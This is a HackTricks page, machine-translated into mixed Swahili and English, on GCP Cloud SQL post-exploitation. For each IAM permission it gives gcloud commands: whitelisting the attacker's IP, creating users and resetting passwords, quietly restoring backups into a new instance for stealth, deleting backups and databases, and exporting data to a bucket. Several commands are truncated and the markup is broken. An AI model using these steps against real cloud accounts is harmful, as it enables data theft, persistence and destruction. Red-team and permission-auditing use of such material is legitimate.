GCP - Cloud SQL Post Exploitation
Tip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na 💬 Discord group au the telegram group au utufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
Cloud SQL
Kwa habari zaidi kuhusu Cloud SQL angalia:
cloudsql.instances.update, ( cloudsql.instances.get)
To connect to the databases you unahitaji tu ufikiaji wa port ya database and know the username and password, there isn’t any IAM requirements. So, an easy way to get access, supposing that the database has a public IP address, is to update the allowed networks and kuruhusu anwani yako ya IP kuifikia.
Ruhusu IP yako na uungane na database
```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quietmysql -h <ip_db> # If mysql
With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql –user=root –quiet
</details>
Inawezekana pia kutumia **`--no-backup`** ku**haribu chelezo za hifadhidata**.
Kama hizi ndizo mahitaji, sina uhakika kabisa ni kwa ajili gani ruhusa **`cloudsql.instances.connect`** na **`cloudsql.instances.login`**. Ikiwa unajua, tuma PR!
### `cloudsql.users.list`
Pata **orodha ya watumiaji wote** wa hifadhidata:
<details>
<summary>Orodha ya watumiaji wa hifadhidata</summary>
```bash
gcloud sql users list --instance <intance-name>
cloudsql.users.create
Ruhusa hii inaruhusu kuunda mtumiaji mpya ndani ya hifadhidata:
Unda mtumiaji wa hifadhidata
```bash gcloud sql users createcloudsql.users.update
Ruhusa hii inaruhusu kusasisha mtumiaji ndani ya hifadhidata. Kwa mfano, unaweza kubadilisha nenosiri lake:
Sasisha nenosiri la mtumiaji
```bash gcloud sql users set-passwordcloudsql.instances.restoreBackup, cloudsql.backupRuns.get
Nakili za akiba zinaweza kuwa na taarifa nyeti za zamani, kwa hivyo inafaa kuzikagua.
Rejesha nakala ya akiba ndani ya hifadhidata:
Rejesha nakala ya hifadhidata
```bash gcloud sql backups restoreIli kufanya hivyo kwa njia ya siri zaidi inashauriwa kuunda instance mpya ya SQL na kurejesha data hapo badala ya katika databases zinazotumika sasa.
cloudsql.backupRuns.delete
Ruhusa hii inaruhusu kufuta backups:
Futa backup
```bash gcloud sql backups deletecloudsql.instances.export, storage.objects.create
Hamisha hifadhidata kwenye Cloud Storage Bucket ili uweze kuifikia kutoka huko:
Hamisha hifadhidata kwenye bucket
```bash # Export sql format, it could also be csv and bak gcloud sql export sqlcloudsql.instances.import, storage.objects.get
Ingiza hifadhidata (kuandika juu) kutoka Cloud Storage Bucket:
Ingiza hifadhidata kutoka Cloud Storage Bucket
```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sqlcloudsql.databases.delete
Futa database kutoka kwenye db instance:
Futa database
```bash gcloud sql databases deleteTip
Jifunze na ufanye mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Saidia HackTricks
- Angalia the subscription plans!
- Jiunge na 💬 Discord group au the telegram group au utufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki hacking tricks kwa kutuma PRs kwa HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

